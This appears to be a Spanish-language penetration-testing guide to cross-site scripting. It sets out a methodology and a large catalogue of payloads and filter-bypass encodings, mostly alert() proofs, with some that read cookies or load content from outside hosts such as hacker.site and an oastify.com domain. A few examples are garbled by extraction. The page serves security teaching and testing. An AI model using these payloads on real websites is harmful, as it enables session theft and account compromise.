XSS (Cross Site Scripting)

Metodología

  1. Verifica si cualquier valor que controlas (parámetros, ruta, encabezados?, cookies?) está siendo reflejado en el HTML o usado por código JS.
  2. Encuentra el contexto donde se refleja/se usa.
  3. Si está reflejado
  4. Verifica qué símbolos puedes usar y dependiendo de eso, prepara la carga útil:
  5. En HTML crudo:
  6. ¿Puedes crear nuevas etiquetas HTML?
  7. ¿Puedes usar eventos o atributos que soporten el protocolo javascript:?
  8. ¿Puedes eludir protecciones?
  9. ¿El contenido HTML está siendo interpretado por algún motor JS del lado del cliente (AngularJS, VueJS, Mavo...), podrías abusar de una Inyección de Plantilla del Lado del Cliente.
  10. Si no puedes crear etiquetas HTML que ejecuten código JS, ¿podrías abusar de una Inyección de Marcado Colgante - HTML sin script?
  11. Dentro de una etiqueta HTML:
  12. ¿Puedes salir al contexto de HTML crudo?
  13. ¿Puedes crear nuevos eventos/atributos para ejecutar código JS?
  14. ¿El atributo donde estás atrapado soporta la ejecución de JS?
  15. ¿Puedes eludir protecciones?
  16. Dentro del código JavaScript:
  17. ¿Puedes escapar de la etiqueta <script>?
  18. ¿Puedes escapar de la cadena y ejecutar diferente código JS?
  19. ¿Tu entrada está en literales de plantilla ``?
  20. ¿Puedes eludir protecciones?
  21. Función de Javascript siendo ejecutada
  22. Puedes indicar el nombre de la función a ejecutar. ej.: ?callback=alert(1)
  23. Si está usado:
  24. Podrías explotar un DOM XSS, presta atención a cómo se controla tu entrada y si tu entrada controlada es usada por algún sink.

Cuando trabajes en un XSS complejo, podría ser interesante saber sobre:

Debugging Client Side JS

Valores reflejados

Para explotar con éxito un XSS, lo primero que necesitas encontrar es un valor controlado por ti que está siendo reflejado en la página web.

  • Reflejado intermedialmente: Si encuentras que el valor de un parámetro o incluso la ruta está siendo reflejada en la página web, podrías explotar un XSS Reflejado.
  • Almacenado y reflejado: Si encuentras que un valor controlado por ti está guardado en el servidor y se refleja cada vez que accedes a una página, podrías explotar un XSS Almacenado.
  • Accedido a través de JS: Si encuentras que un valor controlado por ti está siendo accedido usando JS, podrías explotar un DOM XSS.

Contextos

Al intentar explotar un XSS, lo primero que necesitas saber es dónde se está reflejando tu entrada. Dependiendo del contexto, podrás ejecutar código JS arbitrario de diferentes maneras.

HTML crudo

Si tu entrada está reflejada en el HTML crudo de la página, necesitarás abusar de alguna etiqueta HTML para ejecutar código JS: <img , <iframe , <svg , <script ... estas son solo algunas de las muchas etiquetas HTML posibles que podrías usar.
Además, ten en cuenta la Inyección de Plantilla del Lado del Cliente.

Dentro del atributo de etiquetas HTML

Si tu entrada está reflejada dentro del valor del atributo de una etiqueta, podrías intentar:

  1. Escapar del atributo y de la etiqueta (entonces estarás en el HTML crudo) y crear una nueva etiqueta HTML para abusar: "><img [...]
  2. Si puedes escapar del atributo pero no de la etiqueta (> está codificado o eliminado), dependiendo de la etiqueta podrías crear un evento que ejecute código JS: " autofocus onfocus=alert(1) x="
  3. Si no puedes escapar del atributo (" está siendo codificado o eliminado), entonces dependiendo de qué atributo se está reflejando tu valor si controlas todo el valor o solo una parte, podrás abusar de ello. Por ejemplo, si controlas un evento como onclick= podrás hacer que ejecute código arbitrario cuando se haga clic. Otro ejemplo interesante es el atributo href, donde puedes usar el protocolo javascript: para ejecutar código arbitrario: href="javascript:alert(1)"
  4. Si tu entrada está reflejada dentro de "etiquetas no explotables", podrías intentar el truco del accesskey para abusar de la vulnerabilidad (necesitarás algún tipo de ingeniería social para explotar esto): " accesskey="x" onclick="alert(1)" x="

Ejemplo extraño de Angular ejecutando XSS si controlas un nombre de clase:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Dentro del código JavaScript

En este caso, tu entrada se refleja entre <script> [...] </script> etiquetas de una página HTML, dentro de un archivo .js o dentro de un atributo usando el protocolo javascript::

  • Si se refleja entre <script> [...] </script> etiquetas, incluso si tu entrada está dentro de cualquier tipo de comillas, puedes intentar inyectar </script> y escapar de este contexto. Esto funciona porque el navegador primero analizará las etiquetas HTML y luego el contenido, por lo tanto, no notará que tu etiqueta inyectada </script> está dentro del código HTML.
  • Si se refleja dentro de una cadena JS y el último truco no está funcionando, necesitarías salir de la cadena, ejecutar tu código y reconstruir el código JS (si hay algún error, no se ejecutará):
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Si se refleja dentro de literales de plantilla, puedes incrustar expresiones JS usando la sintaxis ${ ... }: var greetings = `Hello, ${alert(1)}`
  • La codificación Unicode funciona para escribir código javascript válido:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting se refiere a la oportunidad de declarar funciones, variables o clases después de que se utilizan, por lo que puedes abusar de escenarios donde un XSS está utilizando variables o funciones no declaradas.
Consulta la siguiente página para más información:

JS Hoisting

Javascript Function

Varias páginas web tienen endpoints que aceptan como parámetro el nombre de la función a ejecutar. Un ejemplo común que se puede ver en la práctica es algo como: ?callback=callbackFunc.

Una buena manera de averiguar si algo proporcionado directamente por el usuario está intentando ser ejecutado es modificando el valor del parámetro (por ejemplo, a 'Vulnerable') y buscando en la consola errores como:

En caso de que sea vulnerable, podrías ser capaz de disparar una alerta simplemente enviando el valor: ?callback=alert(1). Sin embargo, es muy común que estos endpoints validen el contenido para permitir solo letras, números, puntos y guiones bajos ([\w\._]).

Sin embargo, incluso con esa limitación, todavía es posible realizar algunas acciones. Esto se debe a que puedes usar esos caracteres válidos para acceder a cualquier elemento en el DOM:

Algunas funciones útiles para esto:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

También puedes intentar activar funciones de Javascript directamente: obj.sales.delOrders.

Sin embargo, generalmente los endpoints que ejecutan la función indicada son endpoints sin un DOM muy interesante, otras páginas en el mismo origen tendrán un DOM más interesante para realizar más acciones.

Por lo tanto, para abusar de esta vulnerabilidad en un DOM diferente se desarrolló la explotación de Same Origin Method Execution (SOME):

SOME - Same Origin Method Execution

DOM

Hay código JS que está utilizando inseguramente algunos datos controlados por un atacante como location.href. Un atacante podría abusar de esto para ejecutar código JS arbitrario.

DOM XSS

Universal XSS

Este tipo de XSS se puede encontrar en cualquier lugar. No dependen solo de la explotación del cliente de una aplicación web, sino de cualquier contexto. Este tipo de ejecución arbitraria de JavaScript incluso puede ser abusada para obtener RCE, leer archivos arbitrarios en clientes y servidores, y más.
Algunos ejemplos:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

Codificación de bypass de WAF imagen

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Inyectando dentro de HTML crudo

Cuando tu entrada se refleja dentro de la página HTML o puedes escapar e inyectar código HTML en este contexto, lo primero que necesitas hacer es verificar si puedes abusar de < para crear nuevas etiquetas: Solo intenta reflejar ese carácter y verifica si está siendo codificado en HTML o eliminado o si se refleja sin cambios. Solo en este último caso podrás explotar este caso.
Para estos casos también ten en cuenta Client Side Template Injection.
&#xNAN;Nota: Un comentario HTML se puede cerrar usando****** **-->** **o ******--!>***

En este caso y si no se utiliza ninguna lista negra/blanca, podrías usar cargas útiles como:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Pero, si se está utilizando la lista negra/blanca de etiquetas/atributos, necesitarás forzar qué etiquetas puedes crear.
Una vez que hayas localizado qué etiquetas están permitidas, necesitarías forzar atributos/eventos dentro de las etiquetas válidas encontradas para ver cómo puedes atacar el contexto.

Fuerza bruta de etiquetas/eventos

Ve a https://portswigger.net/web-security/cross-site-scripting/cheat-sheet y haz clic en Copiar etiquetas al portapapeles. Luego, envía todas ellas usando Burp intruder y verifica si alguna etiqueta no fue descubierta como maliciosa por el WAF. Una vez que hayas descubierto qué etiquetas puedes usar, puedes forzar todos los eventos usando las etiquetas válidas (en la misma página web haz clic en Copiar eventos al portapapeles y sigue el mismo procedimiento que antes).

Etiquetas personalizadas

Si no encontraste ninguna etiqueta HTML válida, podrías intentar crear una etiqueta personalizada y ejecutar código JS con el atributo onfocus. En la solicitud XSS, necesitas terminar la URL con # para hacer que la página se enfoque en ese objeto y ejecute el código:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Bypass de listas negras

Si se está utilizando algún tipo de lista negra, podrías intentar eludirla con algunos trucos tontos:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Longitud de bypass (pequeños XSS)

[!NOTE] > Más pequeños XSS para diferentes entornos payload se puede encontrar aquí y aquí.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Los últimos utilizan 2 caracteres unicode que se expanden a 5: telsr
Más de estos caracteres se pueden encontrar aquí.
Para verificar en qué caracteres se descomponen, consulta aquí.

Click XSS - Clickjacking

Si para explotar la vulnerabilidad necesitas que el usuario haga clic en un enlace o un formulario con datos prepopulados, podrías intentar abusar del Clickjacking (si la página es vulnerable).

Imposible - Marcado Colgante

Si solo piensas que es imposible crear una etiqueta HTML con un atributo para ejecutar código JS, deberías revisar Marcado Colgante porque podrías explotar la vulnerabilidad sin ejecutar código JS.

Inyectando dentro de la etiqueta HTML

Dentro de la etiqueta/escapando del valor del atributo

Si estás dentro de una etiqueta HTML, lo primero que podrías intentar es escapar de la etiqueta y usar algunas de las técnicas mencionadas en la sección anterior para ejecutar código JS.
Si no puedes escapar de la etiqueta, podrías crear nuevos atributos dentro de la etiqueta para intentar ejecutar código JS, por ejemplo, usando alguna carga útil como (nota que en este ejemplo se utilizan comillas dobles para escapar del atributo, no las necesitarás si tu entrada se refleja directamente dentro de la etiqueta):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Eventos de estilo

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Dentro del atributo

Incluso si no puedes escapar del atributo (" está siendo codificado o eliminado), dependiendo de qué atributo se esté reflejando tu valor si controlas todo el valor o solo una parte podrás abusar de ello. Por ejemplo, si controlas un evento como onclick= podrás hacer que ejecute código arbitrario cuando se haga clic.
Otro ejemplo interesante es el atributo href, donde puedes usar el protocolo javascript: para ejecutar código arbitrario: href="javascript:alert(1)"

Bypass dentro del evento usando codificación HTML/codificación URL

Los caracteres codificados en HTML dentro del valor de los atributos de las etiquetas HTML son decodificados en tiempo de ejecución. Por lo tanto, algo como lo siguiente será válido (la carga útil está en negrita): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Regresar </a>

Ten en cuenta que cualquier tipo de codificación HTML es válida:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Tenga en cuenta que la codificación de URL también funcionará:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass dentro del evento usando codificación Unicode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Protocolos Especiales Dentro del atributo

Ahí puedes usar los protocolos javascript: o data: en algunos lugares para ejecutar código JS arbitrario. Algunos requerirán interacción del usuario y otros no.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3aalert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Lugares donde puedes inyectar estos protocolos

En general, el protocolo javascript: puede ser utilizado en cualquier etiqueta que acepte el atributo href y en la mayoría de las etiquetas que aceptan el atributo src (pero no <img)

markup
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Otros trucos de ofuscación

En este caso, el truco de codificación HTML y el truco de codificación Unicode de la sección anterior también son válidos ya que estás dentro de un atributo.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Además, hay otro buen truco para estos casos: Incluso si tu entrada dentro de javascript:... está siendo codificada en URL, será decodificada en URL antes de ser ejecutada. Así que, si necesitas escapar de la cadena usando una comilla simple y ves que está siendo codificada en URL, recuerda que no importa, será interpretada como una comilla simple durante el tiempo de ejecución.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Tenga en cuenta que si intenta usar ambos URLencode + HTMLencode en cualquier orden para codificar la carga útil, no funcionará, pero puede mezclarlos dentro de la carga útil.

Usando codificación Hex y Octal con javascript:

Puede usar Hex y Octal encode dentro del atributo src de iframe (al menos) para declarar etiquetas HTML para ejecutar JS:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Nabbing de pestañas inverso

javascript
<a target="_blank" rel="opener"

Si puedes inyectar cualquier URL en una etiqueta <a href= arbitraria que contenga los atributos target="_blank" y rel="opener", verifica la siguiente página para explotar este comportamiento:

Reverse Tab Nabbing

Bypass de Controladores de Eventos

Primero verifica esta página (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) para controladores de eventos "on" útiles.
En caso de que haya alguna lista negra que te impida crear estos controladores de eventos, puedes intentar los siguientes bypasses:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

XSS en "Etiquetas no explotables" (entrada oculta, enlace, canónico, meta)

Desde aquí ahora es posible abusar de entradas ocultas con:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Y en meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Desde aquí: Puedes ejecutar una carga útil de XSS dentro de un atributo oculto, siempre que puedas persuadir a la víctima para que presione la combinación de teclas. En Firefox Windows/Linux, la combinación de teclas es ALT+SHIFT+X y en OS X es CTRL+ALT+X. Puedes especificar una combinación de teclas diferente usando una tecla diferente en el atributo de acceso. Aquí está el vector:

markup
<input type="hidden" accesskey="X" onclick="alert(1)">

La carga útil de XSS será algo como esto: " accesskey="x" onclick="alert(1)" x="

Bypass de listas negras

Varios trucos con el uso de diferentes codificaciones ya se han expuesto dentro de esta sección. Ve de vuelta para aprender dónde puedes usar:

  • Codificación HTML (etiquetas HTML)
  • Codificación Unicode (puede ser código JS válido): \u0061lert(1)
  • Codificación URL
  • Codificación Hex y Octal
  • Codificación de datos

Bypasses para etiquetas y atributos HTML

Lee los Bypasses de listas negras de la sección anterior.

Bypasses para código JavaScript

Lee la lista negra de bypass de JavaScript de la siguiente sección.

CSS-Gadgets

Si encontraste un XSS en una parte muy pequeña de la web que requiere algún tipo de interacción (quizás un pequeño enlace en el pie de página con un elemento onmouseover), puedes intentar modificar el espacio que ocupa ese elemento para maximizar las probabilidades de que se active el enlace.

Por ejemplo, podrías agregar algún estilo en el elemento como: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

Pero, si el WAF está filtrando el atributo de estilo, puedes usar CSS Styling Gadgets, así que si encuentras, por ejemplo

.test {display:block; color: blue; width: 100%}

y

#someid {top: 0; font-family: Tahoma;}

Ahora puedes modificar nuestro enlace y llevarlo a la forma

<a href="" id=someid class=test onclick=alert() a="">

Este truco fue tomado de https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Inyectando dentro del código JavaScript

En este caso, tu entrada va a ser reflejada dentro del código JS de un archivo .js o entre las etiquetas <script>...</script> o entre eventos HTML que pueden ejecutar código JS o entre atributos que aceptan el protocolo javascript:.

Escapando la etiqueta <script>

Si tu código se inserta dentro de <script> [...] var input = 'datos reflejados' [...] </script> podrías fácilmente escapar cerrando la etiqueta <script>:

javascript
</script><img src=1 onerror=alert(document.domain)>

Tenga en cuenta que en este ejemplo ni siquiera hemos cerrado la comilla simple. Esto se debe a que el análisis de HTML se realiza primero por el navegador, lo que implica identificar los elementos de la página, incluidos los bloques de script. El análisis de JavaScript para entender y ejecutar los scripts incrustados solo se lleva a cabo después.

Dentro del código JS

Si <> están siendo sanitizados, aún puedes escapar la cadena donde se encuentra tu entrada y ejecutar JS arbitrario. Es importante corregir la sintaxis de JS, porque si hay algún error, el código JS no se ejecutará:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

Template literals ``

Para construir cadenas además de comillas simples y dobles, JS también acepta backticks ``. Esto se conoce como literales de plantilla, ya que permiten expresiones JS incrustadas utilizando la sintaxis ${ ... }.
Por lo tanto, si encuentras que tu entrada está siendo reflejada dentro de una cadena JS que está utilizando backticks, puedes abusar de la sintaxis ${ ... } para ejecutar código JS arbitrario:

Esto puede ser abusado usando:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``````````````

Ejecución de código codificado

markup
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">

Ejecución de JS codificada en Unicode

javascript
alert(1)
alert(1)
alert(1)

Técnicas de bypass de listas negras de JavaScript

Cadenas

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Escapes especiales

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Sustituciones de espacio dentro del código JS

javascript
<TAB>
/**/

Comentarios de JavaScript (de Comentarios de JavaScript truco)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

Saltos de línea de JavaScript (del truco de salto de línea de JavaScript )

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

Espacios en blanco de JavaScript

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript dentro de un comentario

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript sin paréntesis

`javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x```

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
```
- [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
- [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)

**Llamada a función arbitraria (alert)**
<div class="codeblock_filename_container"><span class="codeblock_filename_inner hljs">`javascript</span></div>

````javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Function('ale'+'rt(10)')``;
[].constructor.constructor("alert(document.domain)")``
[]["constructor"]["constructor"]`$${alert()}```
import('data:text/javascript,alert(1)')

//General function executions
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie'])
with(document)alert(cookie)
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
<svg><animate onbegin=alert() attributeName=x></svg>
```
## **Vulnerabilidades DOM**

Hay **código JS** que está utilizando **datos controlados de manera insegura por un atacante** como `location.href`. Un atacante podría abusar de esto para ejecutar código JS arbitrario.\
